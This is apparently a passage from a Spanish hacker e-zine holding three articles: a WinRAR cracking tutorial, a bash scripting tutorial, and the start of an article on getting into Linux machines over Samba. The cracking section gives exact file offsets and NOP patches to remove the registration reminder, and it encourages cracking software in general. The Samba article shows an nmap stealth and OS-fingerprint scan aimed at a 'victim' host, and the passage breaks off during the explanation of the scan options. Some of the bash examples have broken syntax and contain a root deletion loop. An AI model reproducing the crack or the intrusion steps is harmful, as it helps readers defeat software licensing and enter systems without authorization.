ke te recomiendo copiar el .exe original y abrir el copiado para  evitarnos  si
hay algun problema mas tarde. Si crackeas mal el programa al correrlo puede que
te tire error y talves windows se te quede pegado :P asi que cuidado con lo que
hagan.

En esta pagina podras encontrar varias herramientas utiles como lo son SoftIce,
algunos debuggers etc.

http://www.programmerstools.com/


Para comenzar quiciera contarles un poco  lo que me paso con este  programa. Lo 
que pasaba era que al no tenerlo registrado, cada vez que lo ejecutaba me salia
una  ventana  chica, con el titulo "Please register", ya que  se habian acabado
los dias  de prueba del  programa. diciendome  que por favor me registrara, con 
una serie de opciones como ir a la web oficial de WinRaR, registrarme en linea, 
cuanto me  costaria (como si lo fuese a pagar poh, demas :P !), sitios de donde 
se puede comprar, cerrar  la ventana y ayuda. Eso era  lo que  no me gustaba ya
que apenas abria el WinRaR, a los dos segundos me salia esa maldita ventana que 
tenia que cerrar, por lo que me dije a mi mismo: "Por que mejor hacer que no me 
salga esa ventana". Asi que lo  primero que hice fue abrir el WinRaR.exe  en el 
W32dasm. Paciencia que  se demora un poco, ya que el .exe del  WinRaR pesa como 
sus 500 kilobytes. Cuando se abrio, lo primero que  hice fue hacer  click en el 
menu : "Search", luego  "Find Text". Entonces  puse buscar  la oracion: "Please
Register". Esto fue lo que encontre:

Name:  REMINDER, # of Controls=007, Caption: "Please register", Classname:""

 001=ControlID:0066, Control Class:"BUTTON" Control Text:"&Online registration"
 002=ControlID:0065, Control Class:"BUTTON" Control Text:"&Price list"
 003=ControlID:0067, Control Class:"BUTTON" Control Text:"&Sites list"
 004=ControlID:0001, Control Class:"BUTTON" Control Text:"Close"
 005=ControlID:0009, Control Class:"BUTTON" Control Text:"&Help"
 006=ControlID:FFFF, Control Class:"BUTTON" Control Text:""
 007=ControlID:FFFF, Control Class:"STATIC" Control Text:"Please note that...."

La palabra "REMINDER", me dio la idea de buscarla en "String Data References", 
por lo que hice click en "Refs" y luego en "String Data References". Cuando se
abrio esa ventana me puse a buscar "REMINDER" y lo encontre. Ahora hagan doble
click en el y llegaran a lo siguiente:

* Possible StringData Ref from Data Obj ->"REMINDER"
                           |  
:00401544   68E73B4600     push 00463BE7
:00401549   8B0D20CC4600   mov ecx, dword ptr [0046CC20]
:0040154F   51             push ecx

Como pueden notar esto era lo que hacia que el programa llamara a esa  maldita 
ventana, para recordarme que me tenia que registrar ("REMINDER"), cada vez que
entraba al WinRaR. Pense que cambiando la segunda linea  por puros "nop" (90),
haria que no me apareciera, pero pense mal, ya que al ejecutar el programa, se
me quedaba pegado, asi que la solucion fue simple: cambiar todo por puros 90's
para que no hiciera nada el WinRaR al abrirlo.
Primero anote las tres "offset location" de  cada  linea.

El "offset location" de la primera linea es: "@Offset 00000B44h" 
El "offset location" de la segunda linea es: "@Offset 00000B49h" 
El "offset location" de la tercera linea es: "@Offset 00000B4Fh" 

Recuerden que la "h" al final de los "offset location" quiere decir hexdecimal.
Luego ejecute el "Hiew.exe"  y abri el  "WinRaR.exe". Luego  presione "F5" para 
buscar, y puse la  primera "offset location" : "00000B44", y presione "F3" para
editarlo y escribi: "9090909090", presionando  despues "F9" para  actualizarlo. 
Luego  busque las  otras dos "offset location", sustituyendo la  segunda por  : 
"909090909090", y la tercera  por : "90". Luego un "F9" para  actualizar y sali
del programa. Listo!. Ahora abri el WinRaR.exe y no me salio la maldita ventana.
Alivio!!, ya estaba librado de esa maldicion!!!.

Aca los dejo con algunas de las instrucciones :


Inc Eax    Suma un digito           (Increase Eax          )        40

Dec Eax    Resta un digito          (Decrease Eax          )        48

JB         Salta si bajo            (Jump if Below         )        72

JE         Salta si es igual        (Jump if Equal         )        74

JNE        Salta sino es igual      (Jump if Not Equal     )        75

JNA        Salta sino sobre         (Jump if Not Above     )        76

JA         Salta si sobre           (Jump if Above         )        77

JL         Salta si menor           (Jump if Less          )        7C

JLE        Salta si menor o igual   (Jump if Less or Equal )        7E

NOP        Ninguna Operacion        (No Operation          )        90

RET        Retorna                  (Return                )        C3

JMP        Salta                    (Jump                  )        EB



Ya kabros, los  dejo  con esto para que  se entretengan un  rato  tratando de 
crackear algun programa, pa que funcionen  como ustedes  quieran y no como el 
programador  que  los hizo  quiera. Recuerden que si uno no  crackea  bien el
programa, se puede quedar pegao el programa y en  este caso windows. Por esto
es   que  linux   es   mucho   mejor   a  la   hora  de  crackear  programas.
Cualquier error que haya me lo hacen saber a mi mail. Ya lokos, nos vemos y a 
practicar!!


[=========================([ Electron Security Team ])===========================]





[====([ Reox ])============================================================EST-4=]
[====([ Aplicaciones Utiles e inutiles del Bash ])===========================#17=]
[=======================================================([ 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
  ])=]


Hola... aqui va mi tercer texto para esta e-zine,  ojale  les  guste  :). En  este
texto veremos  las  bondades  de  linux  a  travez  de  su interprete de comandos,
veremos como usarlo para nuestros fines, desde los mas comunes y cotidianos, hasta
lo mas extravagante e inutil posible. Este texto no es para gente que no sepa nada
de Shell-Script, da por asumido problemas de ejecucion, sintaxis y conocimiento de 
comandos, sin  embargo  tiene  ideas  interesantes para aquellos que saben un poco 
mas. Si  deseas  aprender Shell-Script, busca en  Internet, hay  bastantes  textos
buenos, interesantes  y  traducidos... Por  eso creo que no vale la pena empezar a
ense~ar este lenguaje en esta e-zine.

1-. INTRODUCCION:

El  shell  scripting  suele  ser  visto  como un  arma poco poderosa y compleja de
realizar; los fanaticos de C no entienden que ventajas trae el bash en comparacion 
al lenguaje en cual fue creado, sin  embargo, aqui  veremos  ciertas  aplicaciones 
utiles e  inutiles  de  esta  singular  forma  de scripting. Si bien este texto no 
pretende  ser un curso  de Programacion  en  Bash, siempre  es  clave  destacar y 
resaltar ciertos conceptos.

1.1-. El Shell. 

La definicion formal de Shell es: Interprete de Comandos. Esto significa que es el
encargado  de  comunicar   al   usuario   con  el  Kernel. Aqui  vemos  que  Linux
diferencia esas dos partes, Kernel  y  Shell. El nucleo del sistema (kernel) es el
encargado de transformar el proceso en material legible por el monton de silicio y
electrones  que  entendemos  por  Hardware. A  su  vez, el  kernel  administra los
procesos y les da  forma para  ser  funcionales; el kernel administra los recursos
del equipo para que este funciones y asi y asi.. el kernel es casi el OS completo. 
Sin embargo, el usuario es el que usa el Pc, y este debe tener una forma amigable, 
confiable y segura de interactuar con este. Ahi nacen los interpretes de comandos, 
que transforman comandos simples e intuitivos en informacion  util para el nucleo.
Si bien un Shell no es la uncica  forma  de  interactuar  con el Pc (existen otros 
como los interpretes GUI, como  Windorf, X, Mac Os, etc si es la mas adecuada para
labores de  administracion, programacion, investigacion, etc. Existen muchos tipos
de shell, durante este texto  hablaremos siempre de bash (Bourne Again Shell), sin
embargo  existen  otros  como  el  sh (Bourne Shell), tcsh (C Shell Avanzado), ash 
(Shell Reducido), ksh, pdsh, csh, zsh, etc. Si  por  casualidad no sabes que shell
estas usando pon en tu interprete: ps |grep $$.

1.2-. El Shell-Script.

La unica  gracia del Shell-Script es poder realizar ciertas cosas muy complejas de
forma muy sencilla, pero a su  vez  es  un lenguaje  extremadamente  ineficiente y 
obviamente limitado por el SO utilizado, la version del Interprete y la estructura
extremadamente formal necesaria. El shell-script, a grandes rasgos, no  es mas que
un conjunto   de  comandos que  se  ejecutan  secuencialmente linea por linea, los 
cuales pueden ser ejecutados  individualmente  sin problemas. Generalmente  se usa
para secuencias de comandos recursivos que se quieren  ejecutar una y  otra vez, y
asi no tener que escribirlos  cada vez. Por  ejemplo, el archivo /etc/rc.local que
corresponde a ciertas preferencias, modulos o programas  que  se deseen caragar al
inicio, esta escrito  en  shell-script. Muchos  archivos  de  configuracion  estan
escritos en shell-script, como  el .bash_profile  o  el .bashrc  que  definen  las
configuraciones del  interprete de comando del usuario. Esto se  debe a  la  facil
edicion de este tipo de script, y por supuesto  al  poco  espacio  que  ocupan. El
shell-script en resumen es  usar  el  interprete  de comando, tal como si fuera un
lenguaje de programacion, y  es por aquello que este "lenguaje" depende obviamente
del interprete que utilicemos. (recuerdo que usaremos en este texto el shell BASH)


1.3-. Sobre los Comandos:

Como  dije  antes, este  no  es un curso de Shell-Script asi que  no explicare los
comandos que  utilizare, casi  todos los comandos tienen man (manuales) asi que si
no  saben como se utilizan pongan: man commando :P. En el caso que no exista ayuda
para  ese comando, probablemente  este en: man bash. Para saber de los comandos en
particular  busca en el google pues :)... Lo unico que explicare en este texto son
las tuberias (o pipes pa los gringos al peo) y redireccion (stdin, stdout,stderr). 

1.4-. Sobre las Tuberias y Redireccion:
 
El bash tiene 3 canales  basicos  de  comunicacion (E/S) con  el  Usuario, uno  de
entrada y dos de salida. El canal de entrada lleva el nombre de stdin: Standard In
(Entrada Estandar), y corresponde a  todo  lo  ingresado  por  el  usuario  en  el
dispositivo  de   entrada   primario;  el  teclado. Este  canal  lleva  el  numero 
identificador de 0, que luego veremos para que sirve. El primer canal de salida es
el stdout, que corresponde a todo texto que  se quiera imprimir en  pantalla, este
lleva el numero identificador 1. El ultimo canal, corresponde al stderr, que es el 
que imprime todo mensaje de  error. Corresponde  al descriptor 2. Es  muy  util el
tener dos canales de salida, y si bien el canal 2 no siempre  es utilizado para su
labor,  si  es  utilizado  para   diferenciar  un  tipo  de  salida  a  otra. Para
redireccionar estos canales se utiliza >, < y >>. 

Ejemplos:

  A-. Si queremos redireccionar el stdout a un fichero, utilizaremos:
 
  commando 1> fichero.log

  donde 1 corresponde al descriptor del canal. Sin embargo la salida default
  es la 1, por lo tanto podemos omitir el 1 y nos quedaria...

  comando > fichero.log

  B-.  Ahora si queremos redireccionar la salida de error (sdterr), utilizaremos:

  comando 2> fichero.log

  donde 2 corresponde a la salida de error. En este caso, siempre tiene que ir
  el 2, sino como vimos en el caso anterior, redireccionara la stdout. 

  C-. Redireccionar de stdout a stderr o viceversa:

  comando > &2

  en este caso redireccionara la salida estandar a la salida error, ya que el
  & corresponde a un redireccionador hacia descriptor.

  El caso inverso seria entonces:

  comando 2> &1

  D-. Si queremos redireccionar ambos a la vez, utilizaremos el & antes del >,
  esto es muy util para ejecutar un programa en silencio:

  comando &> /dev/null
 
  * (/dev/null es un dispositivo virtual que elimina cualquier valor que se le
  entregue. Es como un oyo negro que hace desaparecer las cosas..jejeje )

  E-. Insertar (append).

  Cuando se redirecciona una salida a un archivo, este borra lo que antes
  existia ahi y guarda lo nuevo. Para que esto no pase, utilizaremos el >>,
  que corresponde a agregar al archivo justo antes de su EOF (Final de
  archivo) la informacion enviada.

  comando >> fichero.log


Ahora, las tuberias son formas de utilizar las salidas de un programa como
la entrada de otro. Para esto se utiliza el caracter |. Ejemplo.

ps -aux |less

El programa less necesita un archivo para ejecutarse, sin  embargo  con  un
pipe (tuberia) podemos darle al less una serie de informacion que utilizara
para ejecutarse. 

dmesg |grep eth

en este otro ejemplo, se imprimira solo las lineas que contengan eth del
extenso texto que lanza el dmesg.


2-. Aplicaciones Utiles e Inutiles

Ahora vamos con lo interesante:
 
El  bash, es  muy util para crear programas que interactuen con el usuario, no asi
para realizar simples llamadas o calculos  matematicos. Por lo  tanto comenzaremos 
con lo mas simple (secuencia de comandos):

2.1-. Secuencia simple de comandos.

Por ejemplo vamos a ver las cuatro lineas para hacer funcionar una unidad
Zip (iomega):

------------------------
#!/bin/bash
#Programa de instalacion de Iomega Zip

#modulos
insmod partport
insmod parport_pc
insmod ppa

#montado de la unidad
mount /mnt/zip

#end
------------------------
Este script funciona siempre y cuando el directorio /mnt/zip este creado y el
/etc/fstab editado para  una  unidad  zip. (mas adelante  volveremos  a  este
ejemplo para completarlo)


Otro ejemplo, y muy comun en estos dias, es el de ip-masquerading, donde para
realizar esto necesitamos siempre ejecutar por lo menos 3 lineas:

------------------------
#!/bin/bash
#Ipmask Skript!

#modulos
insmod ip_masq_ftp
insmod ip_masq_raudio
insmod ip_masq_irc
#insmod ip_masq_generic
insmod ip_masq_quake
#insmod ip_masq_user
insmod ip_masq_vdolive

#habilitacion y politicas
echo "1" > /proc/sys/net/ipv4/ip_forward
ipchains -P forward DENY
ipchains -A forward -s 192.168.0.0/255.255.255.0 -j MASQ

#end
-------------------------

2.2-. Secuencia de comandos con operadores unidecicionales
 
A veces, como en todo lenguaje de programacion, es necesario  utilizar condiciones
para realizar o no  ciertas  secuencias de comandos. Por ejemplo consideraremos el 
ejemplo de la unidad Zip.

-------------------------
#!/bin/bash
#Programa de instalacion de Iomega Zip

#modulos
insmod partport
insmod parport_pc
insmod ppa

#montado de la unidad
if [ `cat /etc/fstab |grep sda4 |cut -d "/" -f3` != sda4 ]; then
  echo "/dev/sda4               /mnt/zip/               vfat    noauto,owner 0 0" >> /etc/fstab
  mkdir /mnt/zip &> /dev/null;
fi

mount /mnt/zip

#end
--------------------------
 
En este ejemplo, solo a~adimos una secuencia de comandos, cuando el device sda4 no
este en el fichero /etc/fstab, para  esto  utilizamos los comandos grep y cut para
moldear la  salida  del  cat. Luego  cuando esta condicion se culple, agregamos la 
linea que pueda faltar en el fichero, y por ultimo  creamos el directorio, en caso
que este exista lanzara un mensaje de error que se direccionarar al /dev/null, que
como ya dijimos, es como un agujero negro donde desaparecen las cosas :).

Que tal si complicamos mas el asunto. Supongamos que tenemos un ISP que nos ofrece
conexion banda ancha, y tenemos un server linux corriendo. A  su  vez el ISP, solo
nos ofrece ip dinamica por dhcp y nosotros queremos  simpre  saber  el ip, cosa de
poder trabajar en  nuestro  server  de  cualquier  parte del mundo. Supongamos que
tenemos una cuenta  de  correo  ajena a nuestro server o bien un celular con mail. 
Entonces:

--------------------------
#!/bin/bash

#cambio de ip

if [ "`ifconfig |grep addr: |cut -d ":" -f2 |cut -d " " -f1 `" != "`cat /var/ipback`" ]; then
   ifconfig |grep addr: |cut -d ":" -f2 |cut -d " " -f1 > /var/ipback
   echo "Ip cambio a: " `cat /var/ipback` | mail 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 ;
fi

#end
--------------------------

Esto comparara el ip actual, con uno guardado por  el mismo programa en el archivo
/var/ipback, y en el  caso  que  no fuere  el  mismo,  este  cambiara  el  archivo
/var/ipback por el ip  nuevo  y  enviara  un  e-mail  a  tu  celular  por  ejemplo 
diciendote "Ip cambio a: 200.69.69.69", ¿bastante comodo no?

Sin embargo este programa no soluciona nuestro problema, ya  que  hay  que estarlo
ejecutando cada vez que querramos saber si el  ip  cambio, y  eso  no tiene ningun
sentido. Para areglar esto  veremos  dos  soluciones, el simular un demonio con un
while infinito, y  usar  el  famoso cron, para ejecutar esto a cada cierto tiempo.

2.3-. Utilizando While... (Simulando Demonios)

Una aplicacion muy practica del while, es  el  while  infinito... Por  ejemplo: si
queremos realizar un programa de seguridad, que siempre este buscando por acciones
"extravagantes" podemos utilizar este while...

Ahora, volvamos al ejemplo del Ip:

--------------------------
#!/bin/sh


echo "GetNewIp: Loaded"
echo "" > /var/ipback
while [ 1 ];
do
if [ "`ifconfig |grep addr: |cut -d ":" -f2 |cut -d " " -f1 `" != "`cat/var/ipback`" ]; then 
   ifconfig |grep addr: |cut -d ":" -f2 |cut -d " " -f1 > /var/ipback
   echo "Ip cambio a: " `cat /var/ipback` | mail 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 ;
fi
sleep 90m
done

#end
--------------------------

Como todo lenguaje, los condicionantes funcionan con 1 = TRUE, y 0 = FALSE, por lo
tanto el while [ 1 ], indica que siempre es verdadero, por  lo  tanto es infinito. 
Agregamos a esto el  sleep  90m, que  hace  dormir  el programa durante 90 minutos 
antes de seguir ejecutandose. Esto simulara  la  funcion  de  un demonio siempre y
cuando este ejecutandose siempre... Para esto  ocuparemos  en  comando  nohup, que
mantendra el comando ejecutandose aunque el usuario que lo ejecuto no este logeado.
Para que no  ocupe  un  tty  o  pts, ocuparemos  tambien  el  metacaracter &, para 
ejecutarlo en segundo plano, asi tendremos el comando: 

nohup bash programa.bash &

Este comando lo podemos  agregar al /etc/rc.local, o  a  otro  fichero  de  inicio
(/etc/rc.d/init.d/) para  que  se  ejecute. La  unica  forma  de parar este pseudo 
demonio es matando el proceso directamente (kill -9 pid) o rebooteando el sistema.

Ademas  este  tipo  de  "pseudo-demonio" tiene  la  ventaja  de ser ejecutado  por
cualquier usuario, siempre y cuando tenga acceso al nohup... Esto es muy util para
hacer cosas que el administrador cree que no podemos hacer ;)

Sin embargo, este metodo no es muy efectivo en el sentido que ocupara recursos en
el sistema, si bien dejamos el proceso en sleep mode, este  siempre existira como
proceso. Si tenemos 20 de estos  pseudo  demonios  corriendo, la rentabilidad del
sistema empezara  a  decrecer. Para  subsanar este problema, existe un demonio en
particular  que  ejecuta los  programas  a cada cierto tiempo especificado, y asi 
tendremos  un  demonio  solamente... Este demonio se llama crond (cron daemon), y
viene del latin cron = tiempo... (ese fue el momento curturarr del tersto).

2.4-. Utilizando Cron. (tiempos de ejecucion)

A ver... El crond, es un demonio  que  nos  permite  ejecutar ciertos programas o 
secuencia de comandos en un tiempo  predeterminado  sin que se  tenga  que  estar
presente. Es decir es como un reloj que activa ciertas cosas a cada cierto tiempo
especifico. Hay dos formas de utilizar el crond, una dise~ada para ejecuciones de
administracion (para el cual nesecitas ser root) y la otra  es dise~ada para cada
usuario  respectivamente  (siempre  y  cuando  el  administrador  lo permita). La 
primera  es mucho  mas  sencilla de realizar, y consta en agregar un shell-script
con todo  lo  que  se quiere hacer en el directorio predeterminado para esto. Los
directorios tienen definido un tiempo de ejecucion segun su nombre:

/etc/cron.hourly  = Cada Hora
/etc/cron.daily   = Cada Dia
/etc/cron.weekly  = Cada Semana
/etc/cron.monthly = Cada Mes

Ahora... Recuerda que para incluir un shell-script en estos directorios
debes configurarlo como ejecutable (chmod +x [archivo])

Pasemos al segundo metodo:

A veces necesitamos ser un poco mas  especificos en  nuestras  configuraciones de
tiempo, por lo tanto crond  nos  ofrece algunos  crontab  para  este motivo. Cada
usuario  puede  tener su  propio crontab, sin  embargo esta  opcion tiene que ser 
habilitada por el administrador. Existe un crontab que  siempre existe, que  esta
en /etc/crontab, y este tiene configuraciones destinadas a la administracion  del
sistema. Las lineas de configuracion de este archivo consisten en 6 campos, los 5
primeros  para la  configuracion del espacio  temporal (shia!!), y  el ultimo que
contendra el comando a ejecutar. Si el  campo no va a  ser utilizado sera marcado
con un "*" que indicara que la condicion es siempre verdadera. A  ver, esto nunca
queda claro hasta que se da un ejemplo... Pero antes definiremos los campos y sus
intervalos.

1-. minuto      0-59
2-. hora        0-23
3-. dia(mes)    1-31
4-. mes         1-21
5-. dia(semana)  0-6 (0 = Domingo)

Entonces:

1) Imaginemos que queremos saludar a Pablito Perez en el dia de su cumplea~os, 
   que cae el 24 de octubre.

0 0 24 10 * echo "Feliz Cumplea~os Pablito!!" | mail 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 

Si observamos los campos veremos que en el minuto 0 de la hora 0 del dia 24
del mes 10, mandara un mail con ese texto. Fijense que el dia de  la semana
no importa para esta ejecucion por lo tanto se marca con un "*" para que no
sea condicion para el envio

2) Ahora queremos borrar el archivo core del directorio del root todos los
dias habiles de la semana (lunes a viernes) a las 04:30 am.

30 4 * * 1-5 rm -f /root/core

Ahora vemos que los "*" estan en los campos que no nos interesan (dia y
mes), pero definimos un intervalo de dias de la semana con el indicador "-"

3) A veces, cuando se esta programando o configurando el sistema, a uno se
le olvida ir a alimentarse, lo que es muy malo para  nuestra salud, por lo
tanto vamos a imprimir  un mensaje para  todo los usuarios, que es hora de
comer algo a las 13:30 hrs y a las 20:30 hrs. :)

30 13,20 * * 0-6 wall Hora de alimentarse... maldito computin...

Vemos aqui por ultimo el indicado "," que nos permitira definir distintos
valores para los campos determinados...

Estos ejemplos son  bastante  burdos  e  ilogicos, sin embargo  el crond  es
realmente util para labores de administracion. El shell-script es usualmente
utilizado en conjunto del crond... las razones son evidentes.

2.5-. El For y Listas de Referencia.

El la programacion en  bash, permite ademas ahorrarse  burdas  repeticiones e
interminables  suseciones que  no  son   nada   entretenidas... Las listas de
referencias son  archivos  o  operaciones que contienen informacion que pueda
ocuparse  para  un  programita  en  bash, contienen  informacion  listable  y
utilizable para nuestros  propositos. El  for, por  otro  lado,  nos  permite
utilizar estas listas  para  no  tener que escribir para cada campo un codigo
distinto. Ejemplo:

1) Queremos cambiar todos los .bash_profile de nustros  usuarios  y  ponerle
un  lindo  logo   de  inicio. El  .bash_profile   lo   tenemos  guardado  en 
/root/usr/resp/.bash_profile y queremos copiarlo a los 23 usuarios que tengo
en el server. Si bien lo podemos hacer manualmente, me  voy a morir  de pena
haciendolo...  Ademas  supongamos  que  tenemos  una  lista  de  usuarios en
/root/usr/list.txt :

---------------------------
#!/bin/bash

#Copiador de .bash_profile

for $vari in `cat /root/usr/list.txt`; do
 cp /root/usr/resp/.bash_profile /home/$vari/
 chown $vari /home/$vari/.bashprofile
 chgrp usr /home/$vari/.bashprofile;
done
---------------------------

Listo... Copiados  y  chowniados. Ahora, si  queremos  agregar  un  usuario, 
simplemente  lo  agregamos  a  list.txt  y se  acabo. Ahora si queres que el
programa fuere autosuficiente, le cambiamos  el `cat /root/usr/list.txt` por
`ls /home/` con lo que no tendremos  que  tener  una lista, sin embargo, hay
ocaciones que el programa no podra ser autosuficiente...

2) Echemos  a  volar nuestra imaginacion nuevamente... Propongamos una  lista
de ficheros  que  deseemos borrar, por ejemplo todos los ficheros core, todos
los ficheros *sex*, *exploit* o cosas asi de los directorios de los usuarios.
Creamos entonces  un  archivo  llamado noallow.ref, con  todas  las  posibles
combinaciones de archivos inutiles y prohibidos:

---------------------------
#!/bin/bash

#borrador de archivos inutiles y prohibidos

for $vari in `cat /root/noallow.ref`; do
  for $varo in `locate /home/vari`; do
   rm $varo -f
  done
done
----------------------------  

Esto funcionara siempre y cuando seamos root :), y el locate este actualizado.
Agregamos esto al crond (ya explicado) y  listo... borramos  todo  lo  que  no
queremos en nuestro server, incluso cuando estemos de vacaciones en futaleufu.

2.6-. Lo mas inutil de lo inutil...

Ya vamos llegando al final de esta primera parte del texto, por  lo que  vamos
a aprender a ocupar dialog, una herramienta que  traen ciertas  distribuciones
que permite crear cuadros de dialogo con colores menues y ventanitas varias...

El dialog simula la programacion  con  ncurses, sin embargo es tan sencillo que
aveces no puedes evitar jugar con  el. Si  no lo tienes puedes buscar el rmp en
la pagina de redhat, si no tienes redhat anda a tu pagina favorita de tu distro
y baja el tar.gz o el binario. 

No voy a explicar la sintaxis de este comando, ya que puedes hacer un man
dialog antes de continuar...

Ejemplos:

1) Hagamos una encuesta a nuestros usuarios de el ranking a nuestro servidor
cada vez  que  se  conecten. Ademas  agregaremos  un cuadro de dialogo donde
podran  escribir  los  comentarios  pertinentes.  Para  esto  crearemos  dos
archivos con chmod 777, el /var/encuesta y el /var/sugerencias
----------------------------------------------------------------
#!/bin/bash

#Encuesta Inutil

dialog --backtitle "FreeDragon.linux-site.net Server |     Red Hat Linux
7.0: Kernel 2.2.16-22"  --msgbox "Bienvenido al servidor de Reox \n
<<<|FreeDragon|>>>" 0 0
dialog --msgbox "Bienvenido: Se realizara una encuesta para su mejor
antencion"
0 0
echo "0" > /tmp/temp.mau
dialog --menu "Como considera este servidor?:" 100 100 5 1 "De muy baja
categoria" 2 "Malo, pero igual tengo que ocuparlo" 3 "Regular, pero
mejorable" 4 "Muy Bueno, gracias al root" 5 "Lo mejor que conozco" 2>
/tmp/temp.mau
if [ "cat /tmp/temp.mau" != "0" ]; then
echo $HOME |cut -d "/" -f3 >> /var/sugerencias
clear
dialog --inputbox "Alguna sugerencia?" 100 100 "Yo Propongo:" 2>>
/var/sugerencias
echo " " >> /var/sugerencias
echo $HOME |cut -d "/" -f3 >> /var/encuesta
cat /tmp/temp.mau >> /var/encuesta
echo " " >> /var/encuesta
fi
----------------------------

esto lo agregamos para que corra en el .bash_profile de cada usuario y
listoco... Bueno leanse en man dialog y les aseguro que alguna vez les
servira... 

3.-. Despedida

Bueno eso fue toda la primera parte de "Aplicaciones  Utiles  e  inutiles  del
Bash", cuando aclare unas peque~as dudas vuelvo a escribir la segunda parte...

Recuerden que las e-zines y documentos electronicos no es  la unica  forma  de 
aprender, sino que  existen  numerosos  trabajos  universitarios, monografias,
tesis y cosas mas  serias  que  este  texto... Los  libros  si bien son caros,
sigue siendo la mejor forma de aprender  informatica... asi  que  partiron los
ni~itos a comprar un libro y a practicar harto :P

Bueno... Chaoz... Nos vemos...

Reox
-----------------------

 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 
irc.terra.cl 6667 #electron #informatica #linux
www.freedragon.linux-site.net (ojala que me pillen prendido) :P
-----------------------


[=========================([ Electron Security Team ])===========================]





[====([ Kpanic ])==========================================================EST-4=]
[====([ Montandose a Linux con Samba ])======================================#18=]
[==========================================================([ 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
  ])=]


Requiere: un Sistema Operativo Linux con nmap, smbclient y smbmount como root ;)


                              TABLA DE CONTENIDOS



   1. Que es nmap...........................................sec.  1

   2. Que es samba..........................................sec.  2

      2.1   smbclient
      2.2   smbmount

   3. Al abordaje muchachos.................................sec.  3

   4. Feed-back.............................................sec.  4


============================================================================
1>                            QUE ES NMAP
============================================================================

    nmap  -  Herramienta  de  exploracion  de  red y  escaner de seguridad.
	      

    Como su descripcion dice es una herramienta de EXPLORACION ;) y scanner 
    de  seguridad  para  grandes  redes.   Permite ver  que  maquinas estas 
    activas (live) y los servicios que ofrece.
    Nmap puede dar mucha informacion, como  el sistema operativo y  es  muy 
    facil de usar.
    Es una herramienta con la cual ningun sysadmin o hacker puede vivir :)=

NOTA:
    La pagina del maual en espanol esta en 
    http://www.insecure.org/nmap/nmap_manpage-es.html
    Si no lo tienes intalado puede bajarlo de http://www.insecure.org/nmap/


============================================================================
2>                            QUE ES SAMBA
============================================================================
2.0   SAMBA
    Es una Suite para conectar servidores SMB/CIFS mas conocidos como Windows
    
2.1   SMBCLIENT
    Es un cliente para redes microsoft  para trabajo en  grupo similar  a un 
    cliente  FTP,  forma  parte de  la  suite  Samba y  permite 'hablar' con 
    servidores SMB/CIFS. Nos muestra los recursos compartidos de una maquina
    windows u otro S.O. con Samba.
    Mas informacion en : man smbclient 

2.2   SMBMOUNT
    Al igual que el comando mount, smbmount nos permite montar volumenes o
    recursos  compartidos  en  nuestra  estructura de directorios para asi 
    poder leer y escribir, segun la configuracion del  servidor.
    Mas Informacion en : man smbmount


============================================================================
3>                            AL ABORDAJE MUCHACHOS
============================================================================
 1) Entramos como root a nuestra maquina favorita :)
 2) Escaneo de maquinas
    con nmap vamos  a dar un vistaso en  la red  si existen  maquinas con el
    puerto 139  abierto y que  tambien tengan  Linux como S.O. , entonce con 
    nuestra cuenta de root y le ponimo':
    OJO: Las IPs son de ejemplo, no necesariamente funcionan, ni lo intenten
    ------------------------------------------------------------------------ 
    #nmap -sS -O -v -v -p139,80 victima
    y el resultado deberia parecerse a esto:
     
    Starting nmap V. 2.3BETA14 by 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
  (www.insecure.org/nmap/)
    Host  (IPDELAVICTIMA) appears to be up ... good.
    Initiating SYN half-open stealth scan against  (IPDELAVICTIMA)
    Adding TCP port 139 (state Open).
    Adding TCP port 80 (state Open).
    The SYN scan took 1 seconds to scan 2 ports.
    For OSScan assuming that port 80 is open and port 43063 is closed and
    neither are firewalled
    Interesting ports on  (IPDELAVICTIMA):
    Port    State       Protocol  Service
    80      open        tcp       http
    139     open        tcp       netbios-ssn
     
    TCP Sequence Prediction: Class=random positive increments
    Difficulty=2814114 (Good luck!)
			 
    Sequence numbers: EE1BAEA9 EE1BAEA9 ED3FF85B ED3FF85B ED59EBB7 ED59EBB7
    Remote operating system guess: Linux 2.1.122 - 2.2.13
    OS Fingerprint:
    TSeq(Class=RI%gcd=2%SI=2AF0A2)
    T1(Resp=Y%DF=Y%W=7F53%ACK=S++%Flags=AS%Ops=MENNTNW)
    T2(Resp=N)
    T3(Resp=Y%DF=Y%W=7F53%ACK=S++%Flags=AS%Ops=MENNTNW)
    T4(Resp=Y%DF=N%W=0%ACK=O%Flags=R%Ops=)
    T5(Resp=Y%DF=N%W=0%ACK=S++%Flags=AR%Ops=)
    T6(Resp=Y%DF=N%W=0%ACK=O%Flags=R%Ops=)
    T7(Resp=Y%DF=N%W=0%ACK=S%Flags=AR%Ops=)
    PU(Resp=Y%DF=N%TOS=C0%IPLEN=164%RIPTL=148%RID=E%RIPCK=E%UCK=E%ULEN=134%DAT=E)
			 
    Nmap run completed -- 1 IP address (1 host up) scanned in 57 seconds
    ---------------------------------------------------------------------------
    Las opciones usadas son :
    
     -sS Escaneo  TCP  SYN:  A  menudo  se  denomina  a  esta  tecnica  escaneo 
    "half open" (medio abierto), porque no  se  abre una conexion TCP completa. 
    Se envia un paquete SYN, como si  se fuese a  abrir una  conexion   real  y  
    se  espera  que  llegue  una respuesta. Un  SYN|ACK  indica  que  el puerto 
    esta a la escucha.  Un RST  es  indicativo  de  que el puerto no esta  a la
    escucha. Si se  recibe  un SYN|ACK, se envia  un   RST inmediatamente  para 
    cortar la conexion (en realidad


   -O Esta  opcion activa la deteccion remota  del sistema  operativo por medio
   de la huella TCP/IP.  En   otras palabras,  usa  un punado de  tecnicas para 
   detectar sutilezas en la  pila de red  subyacente del  sistema operativo  de
   los  servidores que se escanean. Usa esta informacion para crear una 'huella'
   que   luego  compara   con   una  base  de  datos  de  huellas  de  sistemas 
   operativos  conocidas  (el archivo nmap-os-fin-gerprints) para  decidir  que 
   tipo de sistema se esta escaneando.
   Si encuentra una maquina diagnosticada erroneamente que  tenga por  lo menos
   un puerto abierto, me seria de gran utilidad que me enviase  los detalles en  
   un email  (es  decir, se  encontro la  version xxx de  tal cosa y se detecto 
